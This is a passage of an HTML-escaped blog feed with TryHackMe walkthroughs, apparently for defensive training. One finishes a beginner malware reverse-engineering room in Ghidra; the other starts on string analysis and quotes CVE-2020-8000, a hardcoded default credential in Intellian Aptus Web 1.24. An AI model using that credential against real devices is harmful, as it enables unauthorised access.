“_&lt;em&gt;00432294&lt;/em&gt;”.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;8ff85664c37dc2bffa79a6864360f64c_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;511px&#34; data-flex-grow=&#34;213&#34; height=&#34;563&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-basic-malware-re-walkthrough/8ff85664c37dc2bffa79a6864360f64c_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-basic-malware-re-walkthrough/8ff85664c37dc2bffa79a6864360f64c_MD5_hu_df017a25c02550b4.png 800w, https://stumblesec.com/posts/tryhackme-basic-malware-re-walkthrough/8ff85664c37dc2bffa79a6864360f64c_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This takes us to the below location in the code:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;608cd041b186e96a9c0d32b25b9d5ba2_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;876px&#34; data-flex-grow=&#34;365&#34; height=&#34;219&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-basic-malware-re-walkthrough/608cd041b186e96a9c0d32b25b9d5ba2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The top line matches the hash function string we found. Now let’s click the &lt;strong&gt;00424828&lt;/strong&gt; entry…&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;134a8fd3774ebd666d1fb67601a72a8a_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3764px&#34; data-flex-grow=&#34;1568&#34; height=&#34;51&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-basic-malware-re-walkthrough/134a8fd3774ebd666d1fb67601a72a8a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;There we go! We saw the complete flag string and managed to find our first flag! Awesome job!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;8de14ce6d32482e41b8ced537af8be36_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1761px&#34; data-flex-grow=&#34;733&#34; height=&#34;109&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-basic-malware-re-walkthrough/8de14ce6d32482e41b8ced537af8be36_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;strings-challenge-2&#34;&gt;Strings :: Challenge 2&#xA;&lt;/h3&gt;&lt;h4 id=&#34;this-executable-prints-an-md5-hash-on-the-screen-when-executed-can-you-grab-the-exactflag-1&#34;&gt;This executable prints an MD5 Hash on the screen when executed. Can you grab the exact flag?&#xA;&lt;/h4&gt;&lt;p&gt;We’ll start this task the same way we did with the first one — we’ll create a new project in &lt;em&gt;Ghidra&lt;/em&gt;, drop in the &lt;em&gt;strings2.exe&lt;/em&gt;, and let &lt;em&gt;Ghidra&lt;/em&gt; perform the initial analysis. Once that is complete, we’ll again start with the &lt;em&gt;entry function&lt;/em&gt; and focus on the &lt;em&gt;decompile&lt;/em&gt; window:&lt;/p&gt;&#xA;&lt;p&gt;This time, as we scroll through the entry, we’ll see a different &lt;em&gt;character pointer&lt;/em&gt; than we did in &lt;strong&gt;Task 1&lt;/strong&gt;: &lt;code&gt;char *local_8;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;It seems like this points to another &lt;em&gt;MD5 hashed&lt;/em&gt; string. This time instead of a fully defined string like we saw in &lt;strong&gt;Task 1&lt;/strong&gt;, it appears that we have different variables in a stack represented as hexadecimal (hex) values that are hashed in sequence to form the full string. Lower address variables in the stack will be added first, so &lt;code&gt;local_2c = “F”;&lt;/code&gt; would be added before &lt;code&gt;local_2b = 0x4c;&lt;/code&gt; — maybe the F is the first character in “Flag”?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;681a3bad91ee3220100f1ccefc635129_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;507px&#34; data-flex-grow=&#34;211&#34; height=&#34;567&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-basic-malware-re-walkthrough/681a3bad91ee3220100f1ccefc635129_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-basic-malware-re-walkthrough/681a3bad91ee3220100f1ccefc635129_MD5_hu_3d4a519e98c39247.png 800w, https://stumblesec.com/posts/tryhackme-basic-malware-re-walkthrough/681a3bad91ee3220100f1ccefc635129_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let’s test the theory and focus on converting the hex values to &lt;strong&gt;ASCII&lt;/strong&gt; and see if this reveals a flag.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;e7fa3b664c427a3097de60067115faac_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;509px&#34; data-flex-grow=&#34;212&#34; height=&#34;565&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-basic-malware-re-walkthrough/e7fa3b664c427a3097de60067115faac_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-basic-malware-re-walkthrough/e7fa3b664c427a3097de60067115faac_MD5_hu_7c4ca2e30e72b62a.png 800w, https://stumblesec.com/posts/tryhackme-basic-malware-re-walkthrough/e7fa3b664c427a3097de60067115faac_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To do this, I am going to copy out the code with the &lt;em&gt;hex&lt;/em&gt; values and add them to &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;CyberChef&lt;/em&gt;&lt;/a&gt; so that we can perform the cleanup and conversion_._ The first goal is to strip out all the code other than the &lt;em&gt;hex&lt;/em&gt; values. For this we can add a &lt;em&gt;Find/Replace&lt;/em&gt; operation to the recipe and apply the following &lt;em&gt;regular expression (REGEX)&lt;/em&gt; to the &lt;em&gt;find&lt;/em&gt; operation: &lt;code&gt;^[^,]*,&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;This should match everything from the start of each line up to the first comma.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;fbf63cf23cdc992fe9ca8abce5ced8a6_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;507px&#34; data-flex-grow=&#34;211&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-basic-malware-re-walkthrough/fbf63cf23cdc992fe9ca8abce5ced8a6_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-basic-malware-re-walkthrough/fbf63cf23cdc992fe9ca8abce5ced8a6_MD5_hu_86ba1852e0d85702.png 800w, https://stumblesec.com/posts/tryhackme-basic-malware-re-walkthrough/fbf63cf23cdc992fe9ca8abce5ced8a6_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now all we should have to do is add the “&lt;em&gt;From Hex”&lt;/em&gt; operation to the recipe to convert the &lt;em&gt;hex&lt;/em&gt; to &lt;em&gt;ASCII&lt;/em&gt; to reveal the flag!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;8cb37c85eec618cfd965e862cf916c57_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;507px&#34; data-flex-grow=&#34;211&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-basic-malware-re-walkthrough/8cb37c85eec618cfd965e862cf916c57_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-basic-malware-re-walkthrough/8cb37c85eec618cfd965e862cf916c57_MD5_hu_f6322699857b02ac.png 800w, https://stumblesec.com/posts/tryhackme-basic-malware-re-walkthrough/8cb37c85eec618cfd965e862cf916c57_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let’s submit and check if we stumbled through this one correctly!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;3b0592993b203ccb1cc14f4910f9206b_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2133px&#34; data-flex-grow=&#34;888&#34; height=&#34;90&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-basic-malware-re-walkthrough/3b0592993b203ccb1cc14f4910f9206b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;strings-challenge-3&#34;&gt;Strings :: Challenge 3&#xA;&lt;/h3&gt;&lt;h4 id=&#34;this-executable-prints-an-md5-hash-on-the-screen-when-executed-can-you-grab-the-exactflag-2&#34;&gt;This executable prints an MD5 Hash on the screen when executed. Can you grab the exact flag?&#xA;&lt;/h4&gt;&lt;p&gt;Once again, we’ll start this task the same way we did with the last two tasks — we’ll create a new project in &lt;em&gt;Ghidra&lt;/em&gt;, drop in the &lt;em&gt;strings3.exe&lt;/em&gt;, and let &lt;em&gt;Ghidra&lt;/em&gt; perform the initial analysis. Once that completes, we’ll again start with the &lt;em&gt;entry function&lt;/em&gt; and focus on the &lt;em&gt;decompile&lt;/em&gt; window:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;35d19a6593b8122bc9624342d4e8cf0c_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;507px&#34; data-flex-grow=&#34;211&#34; height=&#34;567&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-basic-malware-re-walkthrough/35d19a6593b8122bc9624342d4e8cf0c_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-basic-malware-re-walkthrough/35d19a6593b8122bc9624342d4e8cf0c_MD5_hu_dbb71bcb466ab0f2.png 800w, https://stumblesec.com/posts/tryhackme-basic-malware-re-walkthrough/35d19a6593b8122bc9624342d4e8cf0c_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;For this task, the code looks a little different than we saw in the previous two tasks. As this is a &lt;em&gt;strings&lt;/em&gt; challenge, something sticks out to me, the &lt;strong&gt;LoadStringA&lt;/strong&gt; function. I’ll lean on the documentation &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-loadstringa&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Microsoft Learn&lt;/em&gt;&lt;/a&gt; to help me out with some context for this function:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Loads a string resource from the executable file associated with a specified module and either copies the string into a buffer with a terminating null character or returns a read-only pointer to the string resource itself.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;So, it looks like maybe &lt;em&gt;strings3.exe&lt;/em&gt; is loading a string with the ID of &lt;code&gt;0x110&lt;/code&gt; and then copies it into the memory buffer &lt;code&gt;local_4a4&lt;/code&gt; .&lt;/p&gt;&#xA;&lt;p&gt;So, we’ll chase this theory and click the &lt;code&gt;0x110&lt;/code&gt; ID in the &lt;em&gt;decompile window.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;ed1e2532ebcbf4305e863296d5c74489_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;584px&#34; data-flex-grow=&#34;243&#34; height=&#34;493&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-basic-malware-re-walkthrough/ed1e2532ebcbf4305e863296d5c74489_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-basic-malware-re-walkthrough/ed1e2532ebcbf4305e863296d5c74489_MD5_hu_1300af3464342dca.png 800w, https://stumblesec.com/posts/tryhackme-basic-malware-re-walkthrough/ed1e2532ebcbf4305e863296d5c74489_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Right away, we’ve stumbled upon some evidence of the flag we are looking for in the code! Let’s examine the function call by clicking on &lt;em&gt;CALL&lt;/em&gt; which takes us to the below &lt;em&gt;strings table&lt;/em&gt; which contains several flags.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;f01b8ca6e31cad1526c2d3a925fab13d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;515px&#34; data-flex-grow=&#34;214&#34; height=&#34;368&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-basic-malware-re-walkthrough/f01b8ca6e31cad1526c2d3a925fab13d_MD5.png&#34; width=&#34;791&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The top string matches the flag we found earlier, but let’s double verify before we try to submit. Remember that we click the &lt;code&gt;0x110&lt;/code&gt; that we thought may be the identifier of the flag?&lt;/p&gt;&#xA;&lt;p&gt;In the &lt;em&gt;strings table&lt;/em&gt; we don’t see this value, but we do have a column of &lt;em&gt;String IDs.&lt;/em&gt; In &lt;strong&gt;Task 2&lt;/strong&gt; we performed a &lt;em&gt;hex&lt;/em&gt; to &lt;em&gt;ASCII&lt;/em&gt; conversion, this time we can try a &lt;em&gt;hex&lt;/em&gt; to &lt;em&gt;decimal&lt;/em&gt; conversion. Fortunately, &lt;em&gt;Ghidra&lt;/em&gt; has already taken care of this for us — we simply need to mouse over the &lt;code&gt;0x110&lt;/code&gt; ID to get the &lt;em&gt;decimal&lt;/em&gt; value of &lt;strong&gt;272.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;cc6dacd1ae06bc25247260496ca97591_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;582px&#34; data-flex-grow=&#34;242&#34; height=&#34;494&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-basic-malware-re-walkthrough/cc6dacd1ae06bc25247260496ca97591_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-basic-malware-re-walkthrough/cc6dacd1ae06bc25247260496ca97591_MD5_hu_d8975ce2b577e159.png 800w, https://stumblesec.com/posts/tryhackme-basic-malware-re-walkthrough/cc6dacd1ae06bc25247260496ca97591_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This confirms our findings and now we know for certain that &lt;em&gt;String ID&lt;/em&gt; &lt;strong&gt;&lt;em&gt;272&lt;/em&gt;&lt;/strong&gt; is the flag string we are searching for. We managed to find our third and final flag!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;62e4ee3f9801d2dff6d15b160dc23a06_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2133px&#34; data-flex-grow=&#34;888&#34; height=&#34;90&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-basic-malware-re-walkthrough/62e4ee3f9801d2dff6d15b160dc23a06_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Awesome job! We might have stumbled a bit, but we made it through the &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/basicmalwarere&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Basic Malware RE&lt;/strong&gt;&lt;/a&gt; room using &lt;em&gt;Ghidra!&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;To wrap this up, thank you to &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TryHackMe&lt;/strong&gt;&lt;/a&gt; for the challenging room and the valuable exposure to &lt;em&gt;reverse engineering&lt;/em&gt; as I close in on the end of the &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/path/outline/blueteam&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Cyber Defense learning path&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This room was tougher than usual for me as I started out as a novice in reverse engineering and using &lt;em&gt;Ghidra.&lt;/em&gt; But the experience was incredibly helpful to highlight my own gaps in &lt;em&gt;reverse engineering&lt;/em&gt; knowledge and to help get me some hands-on practice. It was fun to think creatively and test how one might leverage generative AI solutions to help a newbie with static code analysis. In the real world, I might have skipped right to &lt;em&gt;dynamic analysis&lt;/em&gt; in a sandbox but that isn’t always an option and understanding what is going on “under the hood” can be far more beneficial for deep analysis.&lt;/p&gt;&#xA;&lt;p&gt;Thank you so much for reading along, too! I hope that you had as much fun as I did and learned something new, too. Until next week — stay curious!&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;TryHackMe:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/basicmalwarere&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tryhackme.com/r/room/basicmalwarere&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;REMnux:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/discover-the-tools/statically&amp;#43;analyze&amp;#43;code/general#ghidra&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.remnux.org/discover-the-tools/statically+analyze+code/general#ghidra&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Ghidra:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://ghidra-sre.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://ghidra-sre.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Copilot:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.microsoft.com/en-us/windows/copilot-ai-features?r=1&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.microsoft.com/en-us/windows/copilot-ai-features?r=1&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CyberChef:&lt;/strong&gt; https://gchq.github.io/CyberChef/&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-loadstringa&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-loadstringa&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>TryHackMe  —  MAL Strings Room Walkthrough</title>
            <link>https://stumblesec.com/posts/tryhackme-mal-strings-room-walkthrough/</link>
            <pubDate>Sun, 14 Apr 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/tryhackme-mal-strings-room-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/tryhackme-mal-strings-room-walkthrough/d71b8421aa2e7abb091a90a820c47e54_MD5.png&#34; alt=&#34;Featured image of post TryHackMe  —  MAL Strings Room Walkthrough&#34; /&gt;&lt;h3 id=&#34;tryhackmemal-strings-room-walkthrough&#34;&gt;TryHackMe — MAL: Strings Room Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-strings-within-an-application&#34;&gt;Investigating strings within an application&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img alt=&#34;d71b8421aa2e7abb091a90a820c47e54_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;300&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-mal-strings-room-walkthrough/d71b8421aa2e7abb091a90a820c47e54_MD5.png&#34; width=&#34;300&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/malstrings&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tryhackme.com/r/room/malstrings&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Hello! Welcome and thanks for joining me for this weekly walkthrough!&lt;/p&gt;&#xA;&lt;p&gt;This week, I am doing something a little different. Rather than a challenge, I am going through the &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/malstrings&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MAL: Strings&lt;/strong&gt;&lt;/a&gt; room over on &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TryHackMe&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt; This room is part of their &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/path/outline/blueteam&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Cyber Defense learning path&lt;/a&gt;. I’ve been putting off finishing this path for a while, but I thought it might be a good time to tackle this room and do a write up, too! This is a brief room but touches on some really valuable resources like researching CVEs, &lt;em&gt;OWASP&lt;/em&gt;, crypto wallet address lookups, and &lt;em&gt;Sysinternals Strings&lt;/em&gt;, so stick around!&lt;/p&gt;&#xA;&lt;p&gt;As always, this write-up serves as a learning journey notebook for me and a &lt;strong&gt;TryHackMe&lt;/strong&gt; room reference walkthrough for anyone else who stumbles upon this post. Thanks for reading along, hope it helps!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/malstrings&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tryhackme.com/r/room/malstrings&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;what-are-strings&#34;&gt;What are “strings”?&#xA;&lt;/h3&gt;&lt;p&gt;While this information is covered very well in the room’s learning content, I want to put an excerpt here for reference that will help frame the tasks as we move forward about what exactly strings are.&lt;/p&gt;&#xA;&lt;p&gt;Background on strings from &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/malstrings&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Task 1&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;From a programming perspective, “strings” is the term given for data handled by an application. At a broader view, these pieces of data are used to store information such as text to numerical values.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;For example, let’s say we have an application such as a calculator. A user will have to input two numerical values (e.g. 1 and 5) combined with an operator (e.g. + or plus) addition in this case. These values will be stored as “strings”.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;However “strings” can be stored within the application itself — where no input is necessary from the user. For example, using the example of usernames and passwords is a great representation of the many types of information that may be stored as a “string”.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;So put another way, if we are analyzing an application or some code, being able to extract strings can help us as analysts to understand a program’s intent or functionality and could reveal interesting artifacts like IP addresses, URLs, commands, credentials, etc. With that in mind, let’s start working through the room!&lt;/p&gt;&#xA;&lt;h3 id=&#34;task-1&#34;&gt;Task 1&#xA;&lt;/h3&gt;&lt;h4 id=&#34;what-is-thename-of-the-accountthat-had-the-passcode-of-12345678-in-the-intellian-example-discussed-above&#34;&gt;What is the &lt;strong&gt;name of the account&lt;/strong&gt; that had the passcode of “12345678” in the intellian example discussed above?&#xA;&lt;/h4&gt;&lt;p&gt;Jumping right in, we’re looking at examples of software vulnerabilities caused by storing sensitive information like passwords within the application which might lead to unintended access or information disclosure.&lt;/p&gt;&#xA;&lt;p&gt;The task states that:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Intellian, a satellite-communications focused company had the disclosure of their &lt;strong&gt;“Aptus Web 1.24”&lt;/strong&gt; application retaining a default passcode of “12345678”&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;So, we need to do some research to discover what the account name associated with the default password is. We’ll start by visiting the &lt;a class=&#34;link&#34; href=&#34;https://www.cvedetails.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CVEdetails&lt;/strong&gt;&lt;/a&gt; website so that we can search the vendor and product name from the question. Let’s input the information and see what we can find.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;360c4fbaf1d8e76dd4a57d97cbfc4430_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;719px&#34; data-flex-grow=&#34;299&#34; height=&#34;267&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-mal-strings-room-walkthrough/360c4fbaf1d8e76dd4a57d97cbfc4430_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;9a267b67de15e7d0bb1694cf0496347c_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1005px&#34; data-flex-grow=&#34;418&#34; height=&#34;191&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-mal-strings-room-walkthrough/9a267b67de15e7d0bb1694cf0496347c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once we get to the product page for the vulnerable version listed in the task content, we find two vulnerabilities. If we look at the descriptions, we see that the first one, &lt;strong&gt;CVE-2020–8000&lt;/strong&gt;, has a hard coded password that matches what we are looking for. From there, we have the username as well!&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Intellian Aptus Web 1.24 has a hardcoded password of 12345678 for the intellian account.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;7c1bf52a50bcfa36172baa8814a1a2be_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;554px&#34; data-flex-grow=&#34;231&#34; height=&#34;346&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-mal-strings-room-walkthrough/7c1bf52a50bcfa36172baa8814a1a2be_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;1d4311db9d7f480ed5fcbdec3243a551_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2823px&#34; data-flex-grow=&#34;1176&#34; 